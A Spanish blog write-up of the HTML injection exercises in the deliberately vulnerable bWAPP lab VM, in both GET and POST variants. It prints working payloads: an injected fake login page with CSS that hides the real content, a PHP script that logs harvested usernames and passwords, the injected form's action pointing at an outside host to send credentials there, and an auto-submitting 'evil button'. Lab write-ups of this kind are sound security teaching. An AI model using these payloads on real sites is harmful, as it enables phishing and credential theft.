Diseccionando bee-box (OWASP bWAPP VM) v1.6 - Inyección HTML

bWAPP (buggy Web APPlication) es una aplicación web deliberadamente vulnerable para que podamos practicar explotando un buen número de vulnerabilidades. Ya la descubrimos en el blog hace tres años y recibió su última actualización en noviembre del año pasado.

Lo que os traemos hoy es un writeup de los primeros ejercicios sobre inyección HTML, gracias al 'elvecinodeabajo' (bonito nick).


HTML Injection - Reflected (GET)
http://beebox/bWAPP/htmli_get.php

Los valores proporcionados a través de "firstname" y "lastname" en la consulta GET se reflejan en la página de saludo.

    http://beebox/bWAPP/htmli_get.php?firstname=Speedy&lastname=Gonzales&form=submit
    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button>  
        </form>
        <br />
        Welcome Speedy Gonzales
    </div>

Si jugamos un poco podemos ver que las etiquetas HTML no se filtran y se reflejan tal cual en la página de resultado.

    http://beebox/bWAPP/htmli_get.php?firstname=%3Ch1%3ESpeedy%3C%2Fh1%3E&lastname=%3Ch2%3EGonzales%3C%2Fh2%3E&form=submit
    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button>  
        </form>
        <br />
        Welcome <h1>Speedy</h1> <h2>Gonzales</h2>
    </div>

Ya tenemos el bug, ahora, haciendo alarde de habilidad, usaremos el bug para mostrar un falso login controlado por nosotros. El ataque se enfoca a la ingeniería social, ya que este bug no nos permite explotar el sistema. Sin embargo, el resultado del ataque puede llegar a ser muy convincente, pudiendo pescar la contraseña del usuario con sólo enviarle un link.
Lo primero que necesitaremos colar es el cuerpo de la página de login.

    http://beebox/bWAPP/login
    <div id="main">
        <h1>Login</h1>
        <p>Enter your credentials <i>(bee/bug)</i>.</p>
        <form action="/bWAPP/login.php" method="POST">
            <p><label for="login">Login:</label><br />
            <input type="text" id="login" name="login" size="20" autocomplete="off"></p> 
            <p><label for="password">Password:</label><br />
            <input type="password" id="password" name="password" size="20" autocomplete="off"></p>
            <p><label for="security_level">Set the security level:</label><br />
            <select name="security_level">
                <option value="0">low</option>
                <option value="1">medium</option>
                <option value="2">high</option>
            </select>
            </p>
            <button type="submit" name="form" value="submit">Login</button>
        </form>
        <br />
    </div>

Si incrustamos ésto como "firstname" y rellenamos "lastname" con lo que sea obtenemos este resultado:

   
Para que el ataque sea creíble tenemos que darle formato al resultado. Lo primero que tenemos que hacer para ésto es añadir </div> al principio de "firstname". Así dejamos "main" de la siguiente forma:

    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button>  
        </form>
        <br />
        Welcome 
    </div>

Así cerramos "main" y podemos crear un <div> nuevo con otro identificador para, después, darle formato. Al "main" de la página de login le llamaré "mai". Lo ponemos todo en una sola línea, con el </div> al principio de todo para cerrar el "main" de verdad.

    </div><div id="mai"><h1>Login</h1><p>Enter your credentials <i>(bee/bug)</i>.</p><form action="/bWAPP/login.php" method="POST"><p><label for="login">Login:</label><br /><input type="text" id="login" name="login" size="20" autocomplete="off"></p> <p><label for="password">Password:</label><br /><input type="password" id="password" name="password" size="20" autocomplete="off"></p><p><label for="security_level">Set the security level:</label><br /><select name="security_level"><option value="0">low</option><option value="1">medium</option><option value="2">high</option></select></p><button type="submit" name="form" value="submit">Login</button></form><br /></div>


  
Ahora ya sólo nos falta hacer desaparecer el "main" de verdad y darle a nuestro "mai" el formato que debería tener. Al principio del código fuente podemos ver de dónde obtiene el formato.

    <!DOCTYPE html>
    <html>
        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
            <!--<link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Architects+Daughter">-->
            <link rel="stylesheet" type="text/css" href="stylesheets/stylesheet.css" media="screen" />

En stylesheets/stylesheet.css está el archivo .css que da formato a la página. De ahí copiamos todo lo que se refiera a "main", lo cambiamos por "mai" y lo dejamos todo en una línea de texto.

 http://beebox/bWAPP/stylesheets/stylesheet.css
 #main {
            padding-left: 100px;
            padding-top: 25px;    
            position: relative;
            width: 760px;
            margin-bottom: 50px;
    }
    #main p {
            padding-bottom: 12px;
    }
    #main a { 
            text-decoration:none; 
            font-weight:bold;
            color: #666;
    }
    #main h1 {
            font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; 
            font-size: 40px;
            letter-spacing: -1px;
            color: #474747;
            padding-bottom: 12px;
    } 
    #main h1:before {
            content: "/";
            color: #ff4500;
            padding-right: 15px;
    }
    #main h1:after {
            content: "/";
            color: #ff4500;
            padding-left: 15px;
    }
    #main h2 {
            font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; 
            font-size: 30px;
            letter-spacing: -1px;
            color: #474747;
            padding-bottom: 18px;
    } 
    #main h2:before {
            content: "//";
            color: #ff4500;
            padding-right: 15px;
    }
    #main h2:after {
            content: "//";
            color: #ff4500;
            padding-left: 15px;
    }

Ésto lo editamos, añadimos el display:none a "main" para hacerlo desaparecer y condensamos el estilo en algo así:
    #main {display: none;} #mai {padding-left: 100px;padding-top: 25px;    position: relative;width: 760px;margin-bottom: 50px;}#mai p {padding-bottom: 12px;}#mai a { text-decoration:none; font-weight:bold;color: #666;}#mai h1 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 40px;letter-spacing: -1px;color: #474747;padding-bottom: 12px;} #mai h1:before {content: "/";color: #ff4500;padding-right: 15px;}#mai h1:after {content: "/";color: #ff4500;padding-left: 15px;}#mai h2 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 30px;letter-spacing: -1px;color: #474747;padding-bottom: 18px;} #mai h2:before {content: "//";color: #ff4500;padding-right: 15px;}#mai h2:after {content: "//";color: #ff4500;padding-left: 15px;}
   
Y lo metemos todo en una etiqueta <style> para que la página lo use para mostrar nuestro "login".
    <style type="text/css"> #main {display: none;} #mai {padding-left: 100px;padding-top: 25px;    position: relative;width: 760px;margin-bottom: 50px;}#mai p {padding-bottom: 12px;}#mai a { text-decoration:none; font-weight:bold;color: #666;}#mai h1 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 40px;letter-spacing: -1px;color: #474747;padding-bottom: 12px;} #mai h1:before {content: "/";color: #ff4500;padding-right: 15px;}#mai h1:after {content: "/";color: #ff4500;padding-left: 15px;}#mai h2 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 30px;letter-spacing: -1px;color: #474747;padding-bottom: 18px;} #mai h2:before {content: "//";color: #ff4500;padding-right: 15px;}#mai h2:after {content: "//";color: #ff4500;padding-left: 15px;}</style> 

Así, usando el código de los <div> que probamos antes como "firstname" y usando el  <style>como "lastname" obtenemos una página que nos pide que nos autentiquemos. Y a simple vista parece bastante creíble.


Ahora que tenemos una página en la que podemos poner lo que nos dé la gana, vamos a hacer que este falso login que estamos mostrando nos guarde en algún lado los datos que se le introduzcan para su posterior consulta. Para eso tenemos que modificar un poco el formulario de nuestro "mai" y necesitaremos, además, un lugar en el que recibir y guardar esos datos.

Para esta tarea crearemos la página en PHP que guardará los datos que reciba en un archivo de texto.Usaremos la función file() para grabar el archivo de texto. Guardamos el script en nuestro servidor web, creamos el archivo phishes.lst y le damos permisos de escritura.

    <?php
        $log = fopen("./phishes.lst", "a");
        $login = $_POST["login"];
        $pass = $_POST["password"];
        $output = $login.' : '.$pass."\n";
        fwrite($log, $output);
        fclose($log);
    ?>

Con este script tosco y sucio lo que hacemos es abrir el archivo “phishes.lst” y darle permisos de escritura. Después se guardarán el usuario y la contraseña con los que se rellenaron nuestro falso login en las variables $login y $pass, luego usa esos datos para generar la frase que se añadirá al final de nuestro archivo de text (Por eso lo abrimos con el parámetro “a” (Append)). Por último graba la frase $output en el archivo de texto y lo cierra.

Lo siguiente será modificar el “action” del formulario de nuestro falso login para que envíe la solicitud a nuestro script en PHP.

</div><div id="mai"><h1>Login</h1><p>Enter your credentials <i>(bee/bug)</i>.</p><form action="http://192.168.57.130/recv.php" method="POST"><p><label for="login">Login:</label><br /><input type="text" id="login" name="login" size="20" autocomplete="off"></p> <p><label for="password">Password:</label><br /><input type="password" id="password" name="password" size="20" autocomplete="off"></p><p><label for="security_level">Set the security level:</label><br /><select name="security_level"><option value="0">low</option><option value="1">medium</option><option value="2">high</option></select></p><button type="submit" name="form" value="submit">Login</button></form><br /></div>

Lo ponemos a prueba. Introducimos “usuario” como login y ponemos una contraseña cualquiera en nuestro falso login, pulsamos el botón y vemos lo que ocurre.


Funciona perfectamente. Podemos mejorarlo, pero eso no es a lo que vamos en este momento. Según vayamos avanzando iremos mejorándolo, así vamos tocando un poco cada tema. Lo que podemos decir es que ya sabemos explotar vulnerabilidades HTML Injection para nuestros propósitos.

Lo más importante del HTML Injection es que, al no tratarse de ningún javascript, evade la mayoría de sistemas de protección de los navegadores (NoScript, DisableJava, JavaFirewall...).

_|O|_           
_|_|O           
O|O|O h4ck3D!!  

HTML Injection - Reflected (POST)
http://beebox/bWAPP/htmli_post.php

Aquí el bug es casi el mismo. Los datos proporcionados por firstname y lastname se reflejan en la página sin filtrar, pero esta vez no sirve con una consulta GET (No acepta los parámetros por la URL), así que tenemos que crear un formulario que envíe nuestro falso login mediante una consulta POST. Así se reflejarán correctamente y se verá nuestro falso login en vez de la página htmli_post.php.

    <div id="main">
        <h1>HTML Injection - Reflected (POST)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_post.php" method="POST">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button>  
        </form>
        <br />
        Welcome Speedy Gonzales
    </div>

Pongamos lo que pongamos en First name y Last name el enlace a la página siempre será http://beebox/bWAPP/htmli_post.php. ¿Dónde están los parámetros? Pongamos en marcha ZAProxy y configuremos el navegador para pasar por él. Así podremos comprobar todo lo que ocurre (Mucha gente prefiere BurpSuite, pero soy fan del Open Source, así que prefiero ZAP).

Activamos el breakpoint pulsando el botón indicado con la flecha, introducimos firstname y lastname y al pulsar el botón “Go” nos saltará ZAP con la consulta POST detallada.


Para poder mostrar nuestro falso login tenemos que conseguir enviar una consulta POST con firstname, lastname y form=submit. Sin embargo, para ésto es necesario que la víctima envíe esos datos al formulario htmli_post.php para ver nuestro falso login. Para ésto vamos a crear un “Evil button” que, una vez pulsado, envíe los datos para que la página muestre nuestro falso login. Vamos a seguir 2 procedimientos diferentes:

1) Crearemos una página estática con un botón que envíe “firstname” y “lastname” con los parámetros que nosotros queremos.
2) Incrustaremos ese botón en la página de antes mediante GET para que la víctima nunca salga del dominio beebox.

Crear un botón en HTML con parámetros ocultos es muy fácil:

    <html>
        <body>
             <form action="http://beebox/bWAPP/htmli_post.php" method="POST">
                 <input type="hidden" name="firstname" value="">
                 <input type="hidden" name="lastname" value="">
                 <button type="submit" name="form" value="submit">EVIL BUTTON</button>  
            </form>
        </body>
    </html>

Este código nos creará un botón con el texto “EVIL BUTTON”. Lo guardamos como boton.html y lo abrimos. Una vez pulsado el botón que se ve el formulario envía una consulta POST a la página  http://beebox/bWAPP/htmli_post.php, pero con los parámetros en blanco. Por eso nos pide que introduzcamos ambos campos al pulsarlo.


Ahora sólo nos queda rellenar los valores firstname y lastname para que incluya los parámetros que necesitamos indicarle para mostrar nuestro falso login. Sin embargo no podemos pasárselos como hicimos en el capítulo anterior.

Contribución gracias a 'elvecinodeabajo', licencia CC-BY

Comentarios

  1. En realidad no es necesario, ya que el usuario tiene la session iniciada para poder ver nuestro falso login (Puedes ver el botón "Logout" en la esquina superior izquierda).
    Incluso se podría hacer un robo de cookies con un poquito de javascript, pero ese no es el objetivo del ejercicio (HTML Injection).
    Gracias! Me alegro de que te guste!
    De todas formas, sí, podría mejorarse el captador PHP, pero no era eso lo que quería desarrollar

    ResponderEliminar

Publicar un comentario